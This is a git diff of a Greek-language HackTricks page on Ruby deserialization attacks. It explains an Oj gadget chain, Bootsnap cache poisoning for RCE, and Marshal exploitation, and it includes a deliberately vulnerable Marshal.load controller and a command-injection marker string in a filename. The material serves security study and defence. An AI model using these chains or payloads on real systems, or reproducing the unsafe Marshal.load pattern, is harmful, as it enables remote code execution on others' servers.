Στην περίπτωση που προσπαθήσαμε να εκμεταλλευτούμε το Oj, ήταν δυνατό να βρούμε μια κλάση gadget που μέσα στη συνάρτηση `hash` της θα καλούσε το `to_s`, το οποίο θα καλούσε το spec, το οποίο θα καλούσε το fetch_path, το οποίο ήταν δυνατό να το κάνουμε να ανακτήσει μια τυχαία διεύθυνση URL, παρέχοντας έναν εξαιρετικό ανιχνευτή αυτού του είδους των μη απολυμασμένων ευπαθειών αποσυμπίεσης.
|
||||
Στην περίπτωση που προσπαθήσουμε να εκμεταλλευτούμε το Oj, ήταν δυνατό να βρούμε μια κλάση gadget που μέσα στη συνάρτηση `hash` της θα καλέσει το `to_s`, το οποίο θα καλέσει το spec, το οποίο θα καλέσει το fetch_path, το οποίο ήταν δυνατό να το κάνουμε να ανακτήσει μια τυχαία διεύθυνση URL, παρέχοντας έναν εξαιρετικό ανιχνευτή αυτού του είδους των μη απολυμασμένων ευπαθειών αποσυμπίεσης.
|
||||
```json
|
||||
{
|
||||
"^o": "URI::HTTP",
|
||||
@ -980,7 +980,7 @@ Check for more details in the [**original post**](https://github.blog/security/v
|
||||
|
||||
### Bootstrap Caching
|
||||
|
||||
Όχι πραγματικά μια ευπάθεια αποσειριοποίησης αλλά ένα ωραίο κόλπο για να εκμεταλλευτείς την προσωρινή αποθήκευση bootstrap για να αποκτήσεις RCE από μια εφαρμογή rails με τυχαία εγγραφή αρχείου (βρες την πλήρη [πρωτότυπη ανάρτηση εδώ](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
|
||||
Όχι πραγματικά μια ευπάθεια αποσυμπίεσης αλλά ένα ωραίο κόλπο για να εκμεταλλευτείτε την προσωρινή αποθήκευση bootstrap για να αποκτήσετε RCE από μια εφαρμογή rails με τυχαία εγγραφή αρχείου (βρείτε την πλήρη [πρωτότυπη ανάρτηση εδώ](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
|
||||
|
||||
Παρακάτω είναι μια σύντομη περίληψη των βημάτων που περιγράφονται στο άρθρο για την εκμετάλλευση μιας ευπάθειας τυχαίας εγγραφής αρχείου μέσω της εκμετάλλευσης της προσωρινής αποθήκευσης Bootsnap:
|
||||
|
||||
@ -990,27 +990,78 @@ Check for more details in the [**original post**](https://github.blog/security/v
|
||||
|
||||
- Understand Bootsnap’s Cache Mechanism
|
||||
|
||||
Η Bootsnap επιταχύνει τους χρόνους εκκίνησης του Rails αποθηκεύοντας προσωρινά κωδικοποιημένα αρχεία Ruby, YAML και JSON. Αποθηκεύει αρχεία προσωρινής αποθήκευσης που περιλαμβάνουν μια κεφαλίδα κλειδιού προσωρινής αποθήκευσης (με πεδία όπως η έκδοση Ruby, το μέγεθος αρχείου, mtime, επιλογές μεταγλώττισης κ.λπ.) ακολουθούμενη από τον κωδικοποιημένο κώδικα. Αυτή η κεφαλίδα χρησιμοποιείται για την επικύρωση της προσωρινής αποθήκευσης κατά την εκκίνηση της εφαρμογής.
|
||||
Η Bootsnap επιταχύνει τους χρόνους εκκίνησης του Rails αποθηκεύοντας σε προσωρινή μνήμη τον μεταγλωττισμένο κώδικα Ruby, YAML και JSON. Αποθηκεύει αρχεία προσωρινής μνήμης που περιλαμβάνουν μια κεφαλίδα κλειδιού προσωρινής μνήμης (με πεδία όπως η έκδοση Ruby, το μέγεθος αρχείου, mtime, επιλογές μεταγλώττισης κ.λπ.) ακολουθούμενη από τον μεταγλωττισμένο κώδικα. Αυτή η κεφαλίδα χρησιμοποιείται για την επικύρωση της προσωρινής μνήμης κατά την εκκίνηση της εφαρμογής.
|
||||
|
||||
- Gather File Metadata
|
||||
|
||||
Ο επιτιθέμενος πρώτα επιλέγει ένα αρχείο στόχο που είναι πιθανό να φορτωθεί κατά την εκκίνηση του Rails (για παράδειγμα, το set.rb από τη βιβλιοθήκη standard της Ruby). Εκτελώντας κώδικα Ruby μέσα στο κοντέινερ, εξάγουν κρίσιμα μεταδεδομένα (όπως RUBY_VERSION, RUBY_REVISION, μέγεθος, mtime και compile_option). Αυτά τα δεδομένα είναι απαραίτητα για τη δημιουργία ενός έγκυρου κλειδιού προσωρινής αποθήκευσης.
|
||||
Ο επιτιθέμενος πρώτα επιλέγει ένα αρχείο στόχο που είναι πιθανό να φορτωθεί κατά την εκκίνηση του Rails (για παράδειγμα, το set.rb από τη βιβλιοθήκη standard της Ruby). Εκτελώντας κώδικα Ruby μέσα στο κοντέινερ, εξάγουν κρίσιμα μεταδεδομένα (όπως RUBY_VERSION, RUBY_REVISION, μέγεθος, mtime και compile_option). Αυτά τα δεδομένα είναι απαραίτητα για τη δημιουργία ενός έγκυρου κλειδιού προσωρινής μνήμης.
|
||||
|
||||
- Compute the Cache File Path
|
||||
|
||||
Αναπαράγοντας τον μηχανισμό κατακερματισμού FNV-1a 64-bit της Bootsnap, προσδιορίζεται η σωστή διαδρομή αρχείου προσωρινής αποθήκευσης. Αυτό το βήμα διασφαλίζει ότι το κακόβουλο αρχείο προσωρινής αποθήκευσης τοποθετείται ακριβώς εκεί που το περιμένει η Bootsnap (π.χ., κάτω από tmp/cache/bootsnap/compile-cache-iseq/).
|
||||
Αναπαράγοντας τον μηχανισμό κατακερματισμού FNV-1a 64-bit της Bootsnap, προσδιορίζεται η σωστή διαδρομή αρχείου προσωρινής μνήμης. Αυτό το βήμα διασφαλίζει ότι το κακόβουλο αρχείο προσωρινής μνήμης τοποθετείται ακριβώς εκεί που το περιμένει η Bootsnap (π.χ., κάτω από tmp/cache/bootsnap/compile-cache-iseq/).
|
||||
|
||||
- Craft the Malicious Cache File
|
||||
|
||||
Ο επιτιθέμενος προετοιμάζει ένα payload που:
|
||||
|
||||
- Εκτελεί τυχαίες εντολές (για παράδειγμα, εκτελώντας id για να δείξει πληροφορίες διαδικασίας).
|
||||
- Αφαιρεί την κακόβουλη προσωρινή αποθήκευση μετά την εκτέλεση για να αποτρέψει αναδρομική εκμετάλλευση.
|
||||
- Αφαιρεί την κακόβουλη προσωρινή μνήμη μετά την εκτέλεση για να αποτρέψει αναδρομική εκμετάλλευση.
|
||||
- Φορτώνει το αρχικό αρχείο (π.χ., set.rb) για να αποφευχθεί η κατάρρευση της εφαρμογής.
|
||||
|
||||
Αυτό το payload μεταγλωττίζεται σε δυαδικό κώδικα Ruby και συγχωνεύεται με μια προσεκτικά κατασκευασμένη κεφαλίδα κλειδιού προσωρινής αποθήκευσης (χρησιμοποιώντας τα προηγουμένως συγκεντρωμένα μεταδεδομένα και τον σωστό αριθμό έκδοσης για την Bootsnap).
|
||||
Αυτό το payload μεταγλωττίζεται σε δυαδικό κώδικα Ruby και συγχωνεύεται με μια προσεκτικά κατασκευασμένη κεφαλίδα κλειδιού προσωρινής μνήμης (χρησιμοποιώντας τα προηγουμένως συγκεντρωμένα μεταδεδομένα και τον σωστό αριθμό έκδοσης για την Bootsnap).
|
||||
|
||||
- Overwrite and Trigger Execution
|
||||
Χρησιμοποιώντας την ευπάθεια τυχαίας εγγραφής αρχείου, ο επιτιθέμενος γράφει το κατασκευασμένο αρχείο προσωρινής αποθήκευσης στην υπολογισμένη τοποθεσία. Στη συνέχεια, ενεργοποιούν μια επανεκκίνηση του διακομιστή (γράφοντας στο tmp/restart.txt, το οποίο παρακολουθείται από την Puma). Κατά την επανεκκίνηση, όταν το Rails απαιτεί το στοχευμένο αρχείο, το κακόβουλο αρχείο προσωρινής αποθήκευσης φορτώνεται, με αποτέλεσμα την απομακρυσμένη εκτέλεση κώδικα (RCE).
|
||||
Χρησιμοποιώντας την ευπάθεια τυχαίας εγγραφής αρχείου, ο επιτιθέμενος γράφει το κατασκευασμένο αρχείο προσωρινής μνήμης στην υπολογισμένη τοποθεσία. Στη συνέχεια, ενεργοποιούν μια επανεκκίνηση του διακομιστή (γράφοντας στο tmp/restart.txt, το οποίο παρακολουθείται από την Puma). Κατά την επανεκκίνηση, όταν το Rails απαιτεί το στοχευμένο αρχείο, το κακόβουλο αρχείο προσωρινής μνήμης φορτώνεται, με αποτέλεσμα την απομακρυσμένη εκτέλεση κώδικα (RCE).
|
||||
|
||||
### Ruby Marshal exploitation in practice (updated)
|
||||
|
||||
Θεωρήστε οποιαδήποτε διαδρομή όπου μη αξιόπιστα bytes φτάνουν στο `Marshal.load`/`marshal_load` ως σημείο RCE. Το Marshal ανακατασκευάζει τυχαία γραφήματα αντικειμένων και ενεργοποιεί callbacks βιβλιοθηκών/gem κατά τη διάρκεια της υλοποίησης.
|
||||
|
||||
- Minimal vulnerable Rails code path:
|
||||
```ruby
|
||||
class UserRestoreController < ApplicationController
|
||||
def show
|
||||
user_data = params[:data]
|
||||
if user_data.present?
|
||||
deserialized_user = Marshal.load(Base64.decode64(user_data))
|
||||
render plain: "OK: #{deserialized_user.inspect}"
|
||||
else
|
||||
render plain: "No data", status: :bad_request
|
||||
end
|
||||
end
|
||||
end
|
||||
```
|
||||
- Κοινές κατηγορίες gadget που παρατηρούνται σε πραγματικές αλυσίδες: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
|
||||
- Τυπικός δείκτης παρενέργειας ενσωματωμένος σε payloads (εκτελείται κατά τη διάρκεια του unmarshal):
|
||||
```
|
||||
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
|
||||
```
|
||||
Where it surfaces in real apps:
|
||||
- Rails cache stores και session stores ιστορικά χρησιμοποιούν Marshal
|
||||
- Background job backends και file-backed object stores
|
||||
- Οποιαδήποτε προσαρμοσμένη επιμονή ή μεταφορά δυαδικών αντικειμένων
|
||||
|
||||
Industrialized gadget discovery:
|
||||
- Grep for constructors, `hash`, `_load`, `init_with`, ή side-effectful methods που καλούνται κατά τη διάρκεια του unmarshal
|
||||
- Use CodeQL’s Ruby unsafe deserialization queries για να ανιχνεύσετε πηγές → sinks και να αναδείξετε gadgets
|
||||
- Validate με δημόσιες multi-format PoCs (JSON/XML/YAML/Marshal)
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
|
||||
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
|
||||
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
|
||||
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
|
||||
- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
|
||||
- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
|
||||
- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
|
||||
- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
|
||||
- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
|
||||
- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
|
||||
- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
|
||||
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
|
||||
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
|
||||
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user